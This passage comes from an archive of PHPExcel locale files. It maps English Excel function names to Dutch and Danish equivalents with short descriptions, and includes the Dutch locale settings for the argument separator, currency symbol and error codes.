KLEINE.LETTERS ## Zet tekst om in kleine letters MID = MIDDEN ## Geeft als resultaat een bepaald aantal tekens van een tekenreeks vanaf de positie die u opgeeft MIDB = DEELB ## Geeft als resultaat een bepaald aantal tekens van een tekenreeks vanaf de positie die u opgeeft PHONETIC = FONETISCH ## Haalt de fonetische tekens (furigana) uit een tekenreeks op PROPER = BEGINLETTERS ## Zet de eerste letter van elk woord in een tekst om in een hoofdletter REPLACE = VERVANG ## Vervangt tekens binnen een tekst REPLACEB = VERVANGENB ## Vervangt tekens binnen een tekst REPT = HERHALING ## Herhaalt een tekst een aantal malen RIGHT = RECHTS ## Geeft als resultaat de meest rechtse tekens in een tekenreeks RIGHTB = RECHTSB ## Geeft als resultaat de meest rechtse tekens in een tekenreeks SEARCH = VIND.SPEC ## Zoekt een bepaalde tekenreeks in een tekst (waarbij geen onderscheid wordt gemaakt tussen hoofdletters en kleine letters) SEARCHB = VIND.SPEC.B ## Zoekt een bepaalde tekenreeks in een tekst (waarbij geen onderscheid wordt gemaakt tussen hoofdletters en kleine letters) SUBSTITUTE = SUBSTITUEREN ## Vervangt oude tekst door nieuwe tekst in een tekenreeks T = T ## Converteert de argumenten naar tekst TEXT = TEKST ## Maakt een getal op en converteert het getal naar tekst TRIM = SPATIES.WISSEN ## Verwijdert de spaties uit een tekst UPPER = HOOFDLETTERS ## Zet tekst om in hoofdletters VALUE = WAARDE ## Converteert tekst naar een getal PHPExcel/locale/nl/config 0000644 00000002460 14642534110 0011216 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Settings ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = € ## ## Excel Error Codes (For future use) ## NULL = #LEEG! DIV0 = #DEEL/0! VALUE = #WAARDE! REF = #VERW! NAME = #NAAM? NUM = #GETAL! NA = #N/B PHPExcel/locale/da/functions 0000644 00000077546 14642534110 0011755 0 ustar 00 ## ## PHPExcel ## ## Copyright (c) 2006 - 2013 PHPExcel ## ## This library is free software; you can redistribute it and/or ## modify it under the terms of the GNU Lesser General Public ## License as published by the Free Software Foundation; either ## version 2.1 of the License, or (at your option) any later version. ## ## This library is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## Lesser General Public License for more details. ## ## You should have received a copy of the GNU Lesser General Public ## License along with this library; if not, write to the Free Software ## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## ## @category PHPExcel ## @package PHPExcel_Calculation ## @copyright Copyright (c) 2006 - 2013 PHPExcel (http://www.codeplex.com/PHPExcel) ## @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL ## @version ##VERSION##, ##DATE## ## ## Data in this file derived from http://www.piuha.fi/excel-function-name-translation/ ## ## ## ## Add-in and Automation functions Tilføjelsesprogram- og automatiseringsfunktioner ## GETPIVOTDATA = HENTPIVOTDATA ## Returnerer data, der er lagret i en pivottabelrapport ## ## Cube functions Kubefunktioner ## CUBEKPIMEMBER = KUBE.KPI.MEDLEM ## Returnerer navn, egenskab og mål for en KPI-indikator og viser navnet og egenskaben i cellen. En KPI-indikator er en målbar størrelse, f.eks. bruttooverskud pr. måned eller personaleudskiftning pr. kvartal, der bruges til at overvåge en organisations præstationer. CUBEMEMBER = KUBE.MEDLEM ## Returnerer et medlem eller en tupel fra kubehierarkiet. Bruges til at validere, om et medlem eller en tupel findes i kuben. CUBEMEMBERPROPERTY = KUBEMEDLEM.EGENSKAB ## Returnerer værdien af en egenskab for et medlem i kuben. Bruges til at validere, om et medlemsnavn findes i kuben, og returnere den angivne egenskab for medlemmet. CUBERANKEDMEMBER = KUBEMEDLEM.RANG ## Returnerer det n'te eller rangordnede medlem i et sæt. Bruges til at returnere et eller flere elementer i et sæt, f.eks. topsælgere eller de 10 bedste elever. CUBESET = KUBESÆT ## Definerer et beregnet sæt medlemmer eller tupler ved at sende et sætudtryk til kuben på serveren, som opretter sættet og returnerer det til Microsoft Office Excel. CUBESETCOUNT = KUBESÆT.TÆL ## Returnerer antallet af elementer i et sæt. CUBEVALUE = KUBEVÆRDI ## Returnerer en sammenlagt (aggregeret) værdi fra en kube. ## ## Database functions Databasefunktioner ## DAVERAGE = DMIDDEL ## Returnerer gennemsnittet af markerede databaseposter DCOUNT = DTÆL ## Tæller de celler, der indeholder tal, i en database DCOUNTA = DTÆLV ## Tæller udfyldte celler i en database DGET = DHENT ## Uddrager en enkelt post, der opfylder de angivne kriterier, fra en database DMAX = DMAKS ## Returnerer den største værdi blandt markerede databaseposter DMIN = DMIN ## Returnerer den mindste værdi blandt markerede databaseposter DPRODUCT = DPRODUKT ## Ganger værdierne i et bestemt felt med poster, der opfylder kriterierne i en database DSTDEV = DSTDAFV ## Beregner et skøn over standardafvigelsen baseret på en stikprøve af markerede databaseposter DSTDEVP = DSTDAFVP ## Beregner standardafvigelsen baseret på hele populationen af markerede databaseposter DSUM = DSUM ## Sammenlægger de tal i feltkolonnen i databasen, der opfylder kriterierne DVAR = DVARIANS ## Beregner varians baseret på en stikprøve af markerede databaseposter DVARP = DVARIANSP ## Beregner varians baseret på hele populationen af markerede databaseposter ## ## Date and time functions Dato- og klokkeslætsfunktioner ## DATE = DATO ## Returnerer serienummeret for en bestemt dato DATEVALUE = DATOVÆRDI ## Konverterer en dato i form af tekst til et serienummer DAY = DAG ## Konverterer et serienummer til en dag i måneden DAYS360 = DAGE360 ## Beregner antallet af dage mellem to datoer på grundlag af et år med 360 dage EDATE = EDATO ## Returnerer serienummeret for den dato, der ligger det angivne antal måneder før eller efter startdatoen EOMONTH = SLUT.PÅ.MÅNED ## Returnerer serienummeret på den sidste dag i måneden før eller efter et angivet antal måneder HOUR = TIME ## Konverterer et serienummer til en time MINUTE = MINUT ## Konverterer et serienummer til et minut MONTH = MÅNED ## Konverterer et serienummer til en måned NETWORKDAYS = ANTAL.ARBEJDSDAGE ## Returnerer antallet af hele arbejdsdage mellem to datoer NOW = NU ## Returnerer serienummeret for den aktuelle dato eller det aktuelle klokkeslæt SECOND = SEKUND ## Konverterer et serienummer til et sekund TIME = KLOKKESLÆT ## Returnerer serienummeret for et bestemt klokkeslæt TIMEVALUE = TIDSVÆRDI ## Konverterer et klokkeslæt i form af tekst til et serienummer TODAY = IDAG ## Returnerer serienummeret for dags dato WEEKDAY = UGEDAG ## Konverterer et serienummer til en ugedag WEEKNUM = UGE.NR ## Konverterer et serienummer til et tal, der angiver ugenummeret i året WORKDAY = ARBEJDSDAG ## Returnerer serienummeret for dagen før eller efter det angivne antal arbejdsdage YEAR = ÅR ## Konverterer et serienummer til et år YEARFRAC = ÅR.BRØK ## Returnerer årsbrøken, der repræsenterer antallet af hele dage mellem startdato og slutdato ## ## Engineering functions Tekniske funktioner ## BESSELI = BESSELI ## Returnerer den modificerede Bessel-funktion In(x) BESSELJ = BESSELJ ## Returnerer Bessel-funktionen Jn(x) BESSELK = BESSELK ## Returnerer den modificerede Bessel-funktion Kn(x) BESSELY = BESSELY ## Returnerer Bessel-funktionen Yn(x) BIN2DEC = BIN.TIL.DEC ## Konverterer et binært tal til et decimaltal BIN2HEX = BIN.TIL.HEX ## Konverterer et binært tal til et heksadecimalt tal BIN2OCT = BIN.TIL.OKT ## Konverterer et binært tal til et oktaltal. COMPLEX = KOMPLEKS ## Konverterer reelle og imaginære koefficienter til et komplekst tal CONVERT = KONVERTER ## Konverterer et tal fra én måleenhed til en anden DEC2BIN = DEC.TIL.BIN ## Konverterer et decimaltal til et binært tal DEC2HEX = DEC.TIL.HEX ## Konverterer et decimaltal til et heksadecimalt tal DEC2OCT = DEC.TIL.OKT ## Konverterer et decimaltal til et oktaltal DELTA = DELTA ## Tester, om to værdier er ens ERF = FEJLFUNK ## Returner fejlfunktionen ERFC = FEJLFUNK.KOMP ## Returnerer den komplementære fejlfunktion GESTEP = GETRIN ## Tester, om et tal er større end en grænseværdi HEX2BIN = HEX.TIL.BIN ## Konverterer et heksadecimalt tal til et binært tal HEX2DEC = HEX.TIL.DEC ## Konverterer et decimaltal til et heksadecimalt tal HEX2OCT = HEX.TIL.OKT ## Konverterer et heksadecimalt tal til et oktaltal IMABS = IMAGABS ## Returnerer den absolutte værdi (modulus) for et komplekst tal IMAGINARY = IMAGINÆR ## Returnerer den imaginære koefficient for et komplekst tal IMARGUMENT = IMAGARGUMENT ## Returnerer argumentet theta, en vinkel udtrykt i radianer IMCONJUGATE = IMAGKONJUGERE ## Returnerer den komplekse konjugation af et komplekst tal IMCOS = IMAGCOS ## Returnerer et komplekst tals cosinus IMDIV = IMAGDIV ## Returnerer kvotienten for to komplekse tal IMEXP = IMAGEKSP ## Returnerer et komplekst tals eksponentialfunktion IMLN = IMAGLN ## Returnerer et komplekst tals naturlige logaritme IMLOG10 = IMAGLOG10 ## Returnerer et komplekst tals sædvanlige logaritme (titalslogaritme) IMLOG2 = IMAGLOG2 ## Returnerer et komplekst tals sædvanlige logaritme (totalslogaritme) IMPOWER = IMAGPOTENS ## Returnerer et komplekst tal opløftet i en heltalspotens IMPRODUCT = IMAGPRODUKT ## Returnerer produktet af komplekse tal IMREAL = IMAGREELT ## Returnerer den reelle koefficient for et komplekst tal IMSIN = IMAGSIN ## Returnerer et komplekst tals sinus IMSQRT = IMAGKVROD ## Returnerer et komplekst tals kvadratrod IMSUB = IMAGSUB ## Returnerer forskellen mellem to komplekse tal IMSUM = IMAGSUM ## Returnerer summen af komplekse tal OCT2BIN = OKT.TIL.BIN ## Konverterer et oktaltal til et binært tal OCT2DEC = OKT.TIL.DEC ## Konverterer et oktaltal til et decimaltal OCT2HEX = OKT.TIL.HEX ## Konverterer et oktaltal til et heksadecimalt tal ## ## Financial functions Finansielle funktioner ## ACCRINT = PÅLØBRENTE ## Returnerer den påløbne rente for et værdipapir med periodiske renteudbetalinger ACCRINTM = PÅLØBRENTE.UDLØB ## Returnerer den påløbne rente for et værdipapir, hvor renteudbetalingen finder sted ved papirets udløb AMORDEGRC = AMORDEGRC ## Returnerer afskrivningsbeløbet for hver regnskabsperiode ved hjælp af en afskrivningskoefficient AMORLINC = AMORLINC ## Returnerer afskrivningsbeløbet for hver regnskabsperiode COUPDAYBS = KUPONDAGE.SA ## Returnerer antallet af dage fra starten af kuponperioden til afregningsdatoen COUPDAYS = KUPONDAGE.A ## Returnerer antallet af dage fra begyndelsen af kuponperioden til afregningsdatoen COUPDAYSNC = KUPONDAGE.ANK ## Returnerer antallet af dage i den kuponperiode, der indeholder afregningsdatoen COUPNCD = KUPONDAG.NÆSTE ## Returnerer den næste kupondato efter afregningsdatoen COUPNUM = KUPONBETALINGER ## Returnerer antallet af kuponudbetalinger mellem afregnings- og udløbsdatoen COUPPCD = KUPONDAG.FORRIGE ## Returnerer den forrige kupondato før afregningsdatoen CUMIPMT = AKKUM.RENTE ## Returnerer den akkumulerede rente, der betales på et lån mellem to perioder CUMPRINC = AKKUM.HOVEDSTOL ## Returnerer den akkumulerede nedbringelse af hovedstol mellem to perioder DB = DB ## Returnerer afskrivningen på et aktiv i en angivet periode ved anvendelse af saldometoden DDB = DSA ## Returnerer afskrivningsbeløbet for et aktiv over en bestemt periode ved anvendelse af dobbeltsaldometoden eller en anden afskrivningsmetode, som du angiver DISC = DISKONTO ## Returnerer et værdipapirs diskonto DOLLARDE = KR.DECIMAL ## Konverterer en kronepris udtrykt som brøk til en kronepris udtrykt som decimaltal DOLLARFR = KR.BRØK ## Konverterer en kronepris udtrykt som decimaltal til en kronepris udtrykt som brøk DURATION = VARIGHED ## Returnerer den årlige løbetid for et værdipapir med periodiske renteudbetalinger EFFECT = EFFEKTIV.RENTE ## Returnerer den årlige effektive rente FV = FV ## Returnerer fremtidsværdien af en investering FVSCHEDULE = FVTABEL ## Returnerer den fremtidige værdi af en hovedstol, når der er tilskrevet rente og rentes rente efter forskellige rentesatser INTRATE = RENTEFOD ## Returnerer renten på et fuldt ud investeret værdipapir IPMT = R.YDELSE ## Returnerer renten fra en investering for en given periode IRR = IA ## Returnerer den interne rente for en række pengestrømme ISPMT = ISPMT ## Beregner den betalte rente i løbet af en bestemt investeringsperiode MDURATION = MVARIGHED ## Returnerer Macauleys modificerede løbetid for et værdipapir med en formodet pari på kr. 100 MIRR = MIA ## Returnerer den interne forrentning, hvor positive og negative pengestrømme finansieres til forskellig rente NOMINAL = NOMINEL ## Returnerer den årlige nominelle rente NPER = NPER ## Returnerer antallet af perioder for en investering NPV = NUTIDSVÆRDI ## Returnerer nettonutidsværdien for en investering baseret på en række periodiske pengestrømme og en diskonteringssats ODDFPRICE = ULIGE.KURS.PÅLYDENDE ## Returnerer kursen pr. kr. 100 nominel værdi for et værdipapir med en ulige (kort eller lang) første periode ODDFYIELD = ULIGE.FØRSTE.AFKAST ## Returnerer afkastet for et værdipapir med ulige første periode ODDLPRICE = ULIGE.SIDSTE.KURS ## Returnerer kursen pr. kr. 100 nominel værdi for et værdipapir med ulige sidste periode ODDLYIELD = ULIGE.SIDSTE.AFKAST ## Returnerer afkastet for et værdipapir med ulige sidste periode PMT = YDELSE ## Returnerer renten fra en investering for en given periode PPMT = H.YDELSE ## Returnerer ydelsen på hovedstolen for en investering i en given periode PRICE = KURS ## Returnerer kursen pr. kr 100 nominel værdi for et værdipapir med periodiske renteudbetalinger PRICEDISC = KURS.DISKONTO ## Returnerer kursen pr. kr 100 nominel værdi for et diskonteret værdipapir PRICEMAT = KURS.UDLØB ## Returnerer kursen pr. kr 100 nominel værdi for et værdipapir, hvor renten udbetales ved papirets udløb PV = NV ## Returnerer den nuværende værdi af en investering RATE = RENTE ## Returnerer renten i hver periode for en annuitet RECEIVED = MODTAGET.VED.UDLØB ## Returnerer det beløb, der modtages ved udløbet af et fuldt ud investeret værdipapir SLN = LA ## Returnerer den lineære afskrivning for et aktiv i en enkelt periode SYD = ÅRSAFSKRIVNING ## Returnerer den årlige afskrivning på et aktiv i en bestemt periode TBILLEQ = STATSOBLIGATION ## Returnerer det obligationsækvivalente afkast for en statsobligation TBILLPRICE = STATSOBLIGATION.KURS ## Returnerer kursen pr. kr 100 nominel værdi for en statsobligation TBILLYIELD = STATSOBLIGATION.AFKAST ## Returnerer en afkastet på en statsobligation VDB = VSA ## Returnerer afskrivningen på et aktiv i en angivet periode, herunder delperioder, ved brug af dobbeltsaldometoden XIRR = INTERN.RENTE ## Returnerer den interne rente for en plan over pengestrømme, der ikke behøver at være periodiske XNPV = NETTO.NUTIDSVÆRDI ## Returnerer nutidsværdien for en plan over pengestrømme, der ikke behøver at være periodiske YIELD = AFKAST ## Returnerer afkastet for et værdipapir med periodiske renteudbetalinger YIELDDISC = AFKAST.DISKONTO ## Returnerer det årlige afkast for et diskonteret værdipapir, f.eks. en statsobligation YIELDMAT = AFKAST.UDLØBSDATO ## Returnerer det årlige afkast for et værdipapir, hvor renten udbetales ved papirets udløb ## ## Information functions Informationsfunktioner ## CELL = CELLE ## Returnerer oplysninger om formatering, placering eller indhold af en celle ERROR.TYPE = FEJLTYPE ## Returnerer et tal, der svarer til en fejltype INFO = INFO ## Returnerer oplysninger om det aktuelle operativmiljø ISBLANK = ER.TOM ## Returnerer SAND, hvis værdien er tom ISERR = ER.FJL ## Returnerer SAND, hvis værdien er en fejlværdi undtagen #I/T ISERROR = ER.FEJL ## Returnerer SAND, hvis værdien er en fejlværdi ISEVEN = ER.LIGE ## Returnerer SAND, hvis tallet er lige ISLOGICAL = ER.LOGISK ## Returnerer SAND, hvis værdien er en logisk værdi ISNA = ER.IKKE.TILGÆNGELIG ## Returnerer SAND, hvis værdien er fejlværdien #I/T ISNONTEXT = ER.IKKE.TEKST ## Returnerer SAND, hvis værdien ikke er tekst ISNUMBER = ER.TAL ## Returnerer SAND, hvis værdien er et tal ISODD = ER.ULIGE ## Returnerer SAND, hvis tallet er ulige ISREF = ER.REFERENCE ## Returnerer SAND, hvis værdien er en reference ISTEXT = ER.TEKST ## Returnerer SAND, hvis værdien er tekst N = TAL ## Returnerer en værdi konverteret til et tal NA = IKKE.TILGÆNGELIG ## Returnerer fejlværdien #I/T TYPE = VÆRDITYPE ## Returnerer et tal, der angiver datatypen for en værdi ## ## Logical functions Logiske funktioner ## AND = OG ## Returnerer SAND, hvis alle argumenterne er sande FALSE = FALSK ## Returnerer den logiske værdi FALSK IF = HVIS ## Angiver en logisk test, der skal udføres IFERROR = HVIS.FEJL ## Returnerer en værdi, du angiver, hvis en formel evauleres som en fejl. Returnerer i modsat fald resultatet af formlen NOT = IKKE ## Vender argumentets logik om OR = ELLER ## Returneret værdien SAND, hvis mindst ét argument er sandt TRUE = SAND ## Returnerer den logiske værdi SAND ## ## Lookup and reference functions Opslags- og referencefunktioner ## ADDRESS = ADRESSE ## Returnerer en reference som tekst til en enkelt celle i et regneark AREAS = OMRÅDER ## Returnerer antallet af områder i en reference CHOOSE = VÆLG ## Vælger en værdi på en liste med værdier COLUMN = KOLONNE ## Returnerer kolonnenummeret i en reference COLUMNS = KOLONNER ## Returnerer antallet af kolonner i en reference HLOOKUP = VOPSLAG ## Søger i den øverste række af en matrix og returnerer værdien af den angivne celle HYPERLINK = HYPERLINK ## Opretter en genvej kaldet et hyperlink, der åbner et dokument, som er lagret på en netværksserver, på et intranet eller på internettet INDEX = INDEKS ## Anvender et indeks til at vælge en værdi fra en reference eller en matrix INDIRECT = INDIREKTE ## Returnerer en reference, der er angivet af en tekstværdi LOOKUP = SLÅ.OP ## Søger værdier i en vektor eller en matrix MATCH = SAMMENLIGN ## Søger værdier i en reference eller en matrix OFFSET = FORSKYDNING ## Returnerer en reference forskudt i forhold til en given reference ROW = RÆKKE ## Returnerer rækkenummeret for en reference ROWS = RÆKKER ## Returnerer antallet af rækker i en reference RTD = RTD ## Henter realtidsdata fra et program, der understøtter COM-automatisering (Automation: En metode til at arbejde med objekter fra et andet program eller udviklingsværktøj. Automation, som tidligere blev kaldt OLE Automation, er en industristandard og en funktion i COM (Component Object Model).) TRANSPOSE = TRANSPONER ## Returnerer en transponeret matrix VLOOKUP = LOPSLAG ## Søger i øverste række af en matrix og flytter på tværs af rækken for at returnere en celleværdi ## ## Math and trigonometry functions Matematiske og trigonometriske funktioner ## ABS = ABS ## Returnerer den absolutte værdi af et tal ACOS = ARCCOS ## Returnerer et tals arcus cosinus ACOSH = ARCCOSH ## Returnerer den inverse hyperbolske cosinus af tal ASIN = ARCSIN ## Returnerer et tals arcus sinus ASINH = ARCSINH ## Returnerer den inverse hyperbolske sinus for tal ATAN = ARCTAN ## Returnerer et tals arcus tangens ATAN2 = ARCTAN2 ## Returnerer de angivne x- og y-koordinaters arcus tangens ATANH = ARCTANH ## Returnerer et tals inverse hyperbolske tangens CEILING = AFRUND.LOFT ## Afrunder et tal til nærmeste heltal eller til nærmeste multiplum af betydning COMBIN = KOMBIN ## Returnerer antallet af kombinationer for et givet antal objekter COS = COS ## Returnerer et tals cosinus COSH = COSH ## Returnerer den inverse hyperbolske cosinus af et tal DEGREES = GRADER ## Konverterer radianer til grader EVEN = LIGE ## Runder et tal op til nærmeste lige heltal EXP = EKSP ## Returnerer e opløftet til en potens af et angivet tal FACT = FAKULTET ## Returnerer et tals fakultet FACTDOUBLE = DOBBELT.FAKULTET ## Returnerer et tals dobbelte fakultet FLOOR = AFRUND.GULV ## Runder et tal ned mod nul GCD = STØRSTE.FÆLLES.DIVISOR ## Returnerer den største fælles divisor INT = HELTAL ## Nedrunder et tal til det nærmeste heltal LCM = MINDSTE.FÆLLES.MULTIPLUM ## Returnerer det mindste fælles multiplum LN = LN ## Returnerer et tals naturlige logaritme LOG = LOG ## Returnerer logaritmen for et tal på grundlag af et angivet grundtal LOG10 = LOG10 ## Returnerer titalslogaritmen af et tal MDETERM = MDETERM ## Returnerer determinanten for en matrix MINVERSE = MINVERT ## Returnerer den inverse matrix for en matrix MMULT = MPRODUKT ## Returnerer matrixproduktet af to matrixer MOD = REST ## Returnerer restværdien fra division MROUND = MAFRUND ## Returnerer et tal afrundet til det ønskede multiplum MULTINOMIAL = MULTINOMIAL ## Returnerer et multinomialt talsæt ODD = ULIGE ## Runder et tal op til nærmeste ulige heltal PI = PI ## Returnerer værdien af pi POWER = POTENS ## Returnerer resultatet af et tal opløftet til en potens PRODUCT = PRODUKT ## Multiplicerer argumenterne QUOTIENT = KVOTIENT ## Returnerer heltalsdelen ved division RADIANS = RADIANER ## Konverterer grader til radianer RAND = SLUMP ## Returnerer et tilfældigt tal mellem 0 og 1 RANDBETWEEN = SLUMP.MELLEM ## Returnerer et tilfældigt tal mellem de tal, der angives ROMAN = ROMERTAL ## Konverterer et arabertal til romertal som tekst ROUND = AFRUND ## Afrunder et tal til et angivet antal decimaler ROUNDDOWN = RUND.NED ## Runder et tal ned mod nul ROUNDUP = RUND.OP ## Runder et tal op, væk fra 0 (nul) SERIESSUM = SERIESUM ## Returnerer summen af en potensserie baseret på en formel SIGN = FORTEGN ## Returnerer et tals fortegn SIN = SIN ## Returnerer en given vinkels sinusværdi SINH = SINH ## Returnerer den hyperbolske sinus af et tal SQRT = KVROD ## Returnerer en positiv kvadratrod SQRTPI = KVRODPI ## Returnerer kvadratroden af (tal * pi;) SUBTOTAL = SUBTOTAL ## Returnerer en subtotal på en liste eller i en database SUM = SUM ## Lægger argumenterne sammen SUMIF = SUM.HVIS ## Lægger de celler sammen, der er specificeret af et givet kriterium. SUMIFS = SUM.HVISER ## Lægger de celler i et område sammen, der opfylder flere kriterier. SUMPRODUCT = SUMPRODUKT ## Returnerer summen af produkter af ens matrixkomponenter SUMSQ = SUMKV ## Returnerer summen af argumenternes kvadrater SUMX2MY2 = SUMX2MY2 ## Returnerer summen af differensen mellem kvadrater af ens værdier i to matrixer SUMX2PY2 = SUMX2PY2 ## Returnerer summen af summen af kvadrater af tilsvarende værdier i to matrixer SUMXMY2 = SUMXMY2 ## Returnerer summen af kvadrater af differenser mellem ens værdier i to matrixer TAN = TAN ## Returnerer et tals tangens TANH = TANH ## Returnerer et tals hyperbolske tangens TRUNC = AFKORT ## Afkorter et tal til et heltal ## ## Statistical functions Statistiske funktioner ## AVEDEV = MAD ## Returnerer den gennemsnitlige numeriske afvigelse fra stikprøvens middelværdi AVERAGE = MIDDEL ## Returnerer middelværdien af argumenterne AVERAGEA = MIDDELV ## Returnerer middelværdien af argumenterne og medtager tal, tekst og logiske værdier AVERAGEIF = MIDDEL.HVIS ## Returnerer gennemsnittet (den aritmetiske middelværdi) af alle de celler, der opfylder et givet kriterium, i et område AVERAGEIFS = MIDDEL.HVISER ## Returnerer gennemsnittet (den aritmetiske middelværdi) af alle de celler, der opfylder flere kriterier. BETADIST = BETAFORDELING ## Returnerer den kumulative betafordelingsfunktion BETAINV = BETAINV ## Returnerer den inverse kumulative fordelingsfunktion for en angivet betafordeling BINOMDIST = BINOMIALFORDELING ## Returnerer punktsandsynligheden for binomialfordelingen CHIDIST = CHIFORDELING ## Returnerer fraktilsandsynligheden for en chi2-fordeling CHIINV = CHIINV ## Returnerer den inverse fraktilsandsynlighed for en chi2-fordeling CHITEST = CHITEST ## Foretager en test for uafhængighed CONFIDENCE = KONFIDENSINTERVAL ## Returnerer et konfidensinterval for en population CORREL = KORRELATION ## Returnerer korrelationskoefficienten mellem to datasæt COUNT = TÆL ## Tæller antallet af tal på en liste med argumenter COUNTA = TÆLV ## Tæller antallet af værdier på en liste med argumenter COUNTBLANK = ANTAL.BLANKE ## Tæller antallet af tomme celler i et område COUNTIF = TÆLHVIS ## Tæller antallet af celler, som opfylder de givne kriterier, i et område COUNTIFS = TÆL.HVISER ## Tæller antallet af de celler, som opfylder flere kriterier, i et område COVAR = KOVARIANS ## Beregner kovariansen mellem to stokastiske variabler CRITBINOM = KRITBINOM ## Returnerer den mindste værdi for x, for hvilken det gælder, at fordelingsfunktionen er mindre end eller lig med kriterieværdien. DEVSQ = SAK ## Returnerer summen af de kvadrerede afvigelser fra middelværdien EXPONDIST = EKSPFORDELING ## Returnerer eksponentialfordelingen FDIST = FFORDELING ## Returnerer fraktilsandsynligheden for F-fordelingen FINV = FINV ## Returnerer den inverse fraktilsandsynlighed for F-fordelingen FISHER = FISHER ## Returnerer Fisher-transformationen FISHERINV = FISHERINV ## Returnerer den inverse Fisher-transformation FORECAST = PROGNOSE ## Returnerer en prognoseværdi baseret på lineær tendens FREQUENCY = FREKVENS ## Returnerer en frekvensfordeling i en søjlevektor FTEST = FTEST ## Returnerer resultatet af en F-test til sammenligning af varians GAMMADIST = GAMMAFORDELING ## Returnerer fordelingsfunktionen for gammafordelingen GAMMAINV = GAMMAINV ## Returnerer den inverse fordelingsfunktion for gammafordelingen GAMMALN = GAMMALN ## Returnerer den naturlige logaritme til gammafordelingen, G(x) GEOMEAN = GEOMIDDELVÆRDI ## Returnerer det geometriske gennemsnit GROWTH = FORØGELSE ## Returnerer værdier langs en eksponentiel tendens HARMEAN = HARMIDDELVÆRDI ## Returnerer det harmoniske gennemsnit HYPGEOMDIST = HYPGEOFORDELING ## Returnerer punktsandsynligheden i en hypergeometrisk fordeling INTERCEPT = SKÆRING ## Returnerer afskæringsværdien på y-aksen i en lineær regression KURT = TOPSTEJL ## Returnerer kurtosisværdien for en stokastisk variabel LARGE = STOR ## Returnerer den k'te største værdi i et datasæt LINEST = LINREGR ## Returnerer parameterestimaterne for en lineær tendens LOGEST = LOGREGR ## Returnerer parameterestimaterne for en eksponentiel tendens LOGINV = LOGINV ## Returnerer den inverse fordelingsfunktion for lognormalfordelingen LOGNORMDIST = LOGNORMFORDELING ## Returnerer fordelingsfunktionen for lognormalfordelingen MAX = MAKS ## Returnerer den maksimale værdi på en liste med argumenter. MAXA = MAKSV ## Returnerer den maksimale værdi på en liste med argumenter og medtager tal, tekst og logiske værdier MEDIAN = MEDIAN ## Returnerer medianen for de angivne tal MIN = MIN ## Returnerer den mindste værdi på en liste med argumenter. MINA = MINV ## Returnerer den mindste værdi på en liste med argumenter og medtager tal, tekst og logiske værdier MODE = HYPPIGST ## Returnerer den hyppigste værdi i et datasæt NEGBINOMDIST = NEGBINOMFORDELING ## Returnerer den negative binomialfordeling NORMDIST = NORMFORDELING ## Returnerer fordelingsfunktionen for normalfordelingen NORMINV = NORMINV ## Returnerer den inverse fordelingsfunktion for normalfordelingen NORMSDIST = STANDARDNORMFORDELING ## Returnerer fordelingsfunktionen for standardnormalfordelingen NORMSINV = STANDARDNORMINV ## Returnerer den inverse fordelingsfunktion for standardnormalfordelingen PEARSON = PEARSON ## Returnerer Pearsons korrelationskoefficient PERCENTILE = FRAKTIL ## Returnerer den k'te fraktil for datasættet PERCENTRANK = PROCENTPLADS ## Returnerer den procentuelle rang for en given værdi i et datasæt PERMUT = PERMUT ## Returnerer antallet af permutationer for et givet sæt objekter POISSON = POISSON ## Returnerer fordelingsfunktionen for en Poisson-fordeling PROB = SANDSYNLIGHED ## Returnerer intervalsandsynligheden QUARTILE = KVARTIL ## Returnerer kvartilen i et givet datasæt RANK = PLADS ## Returnerer rangen for et tal på en liste med tal RSQ = FORKLARINGSGRAD ## Returnerer R2-værdien fra en simpel lineær regression SKEW = SKÆVHED ## Returnerer skævheden for en stokastisk variabel SLOPE = HÆLDNING ## Returnerer estimatet på hældningen fra en simpel lineær regression SMALL = MINDSTE ## Returnerer den k'te mindste værdi i datasættet STANDARDIZE = STANDARDISER ## Returnerer en standardiseret værdi STDEV = STDAFV ## Estimerer standardafvigelsen på basis af en stikprøve STDEVA = STDAFVV ## Beregner standardafvigelsen på basis af en prøve og medtager tal, tekst og logiske værdier STDEVP = STDAFVP ## Beregner standardafvigelsen på basis af en hel population STDEVPA = STDAFVPV ## Beregner standardafvigelsen på basis af en hel population og medtager tal, tekst og logiske værdier STEYX = STFYX ## Returnerer standardafvigelsen for de estimerede y-værdier i den simple lineære regression TDIST = TFORDELING ## Returnerer fordelingsfunktionen for Student's t-fordeling TINV = TINV ## Returnerer den inverse fordelingsfunktion for Student's t-fordeling TREND = TENDENS ## Returnerer værdi under antagelse af en lineær tendens TRIMMEAN = TRIMMIDDELVÆRDI ## Returnerer den trimmede middelværdi for datasættet TTEST = TTEST ## Returnerer den sandsynlighed, der er forbundet med Student's t-test VAR = VARIANS ## Beregner variansen på basis af en prøve VARA = VARIANSV ## Beregner variansen på basis af en prøve og medtager tal, tekst og logiske værdier VARP = VARIANSP ## Beregner variansen på basis af hele populationen VARPA = VARIANSPV ## Beregner variansen på basis af hele populationen og medtager tal, tekst og logiske værdier WEIBULL = WEIBULL ## Returnerer fordelingsfunktionen for Weibull-fordelingen ZTEST = ZTEST ## Returnerer sandsynlighedsværdien ved en en-sidet z-test ## ## Text functions Tekstfunktioner ## ASC = ASC ## Ændrer engelske tegn i fuld bredde (dobbelt-byte) eller katakana i en tegnstreng til tegn i halv bredde (enkelt-byte) BAHTTEXT = BAHTTEKST ## Konverterer et tal til tekst ved hjælp af valutaformatet ß (baht) CHAR = TEGN ## 